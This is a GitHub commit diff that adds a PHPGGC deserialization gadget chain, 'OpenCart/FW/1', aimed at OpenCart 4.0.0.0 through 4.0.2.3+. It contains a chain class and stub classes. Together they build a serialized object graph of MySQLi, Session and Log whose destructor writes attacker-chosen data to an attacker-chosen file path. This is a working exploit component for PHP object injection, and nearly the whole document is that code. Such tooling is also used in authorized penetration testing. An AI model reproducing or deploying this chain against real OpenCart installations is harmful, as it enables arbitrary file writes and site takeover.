File tree 2 files changed +61
-0
lines changed
gadgetchains/OpenCart/FW/1
2 files changed +61
-0
lines changed Original file line number Diff line number Diff line change
1
+ <?php
2
+
3
+ namespace GadgetChain \OpenCart ;
4
+
5
+ class FW1 extends \PHPGGC \GadgetChain \FileWrite
6
+ {
7
+ public static $ version = '4.0.0.0 <= 4.0.2.3+ ' ;
8
+ public static $ vector = '__destruct ' ;
9
+ public static $ author = 'mcdruid ' ;
10
+
11
+ public function generate (array $ parameters )
12
+ {
13
+ $ path = $ parameters ['remote_path ' ];
14
+ $ data = $ parameters ['data ' ];
15
+
16
+ return new \Opencart \System \Library \DB \MySQLi (
17
+ new \Opencart \System \Library \Session (
18
+ new \Opencart \System \Library \Log ($ path ),
19
+ $ data
20
+ )
21
+ );
22
+ }
23
+ }
Original file line number Diff line number Diff line change
1
+ <?php
2
+
3
+ namespace Opencart \System \Library \DB
4
+ {
5
+ class MySQLi
6
+ {
7
+ private object |null $ connection ;
8
+
9
+ function __construct ($ connection )
10
+ {
11
+ $ this ->connection = $ connection ;
12
+ }
13
+ }
14
+ }
15
+
16
+ namespace Opencart \System \Library
17
+ {
18
+ class Session
19
+ {
20
+ protected object $ adaptor ;
21
+ protected string $ session_id ;
22
+
23
+ public function __construct ($ adaptor , $ session_id )
24
+ {
25
+ $ this ->adaptor = $ adaptor ;
26
+ $ this ->session_id = $ session_id ;
27
+ }
28
+ }
29
+
30
+ class Log
31
+ {
32
+ private string $ file ;
33
+
34
+ public function __construct ($ file ) {
35
+ $ this ->file = $ file ;
36
+ }
37
+ }
38
+ }
You can’t perform that action at this time.
0 commit comments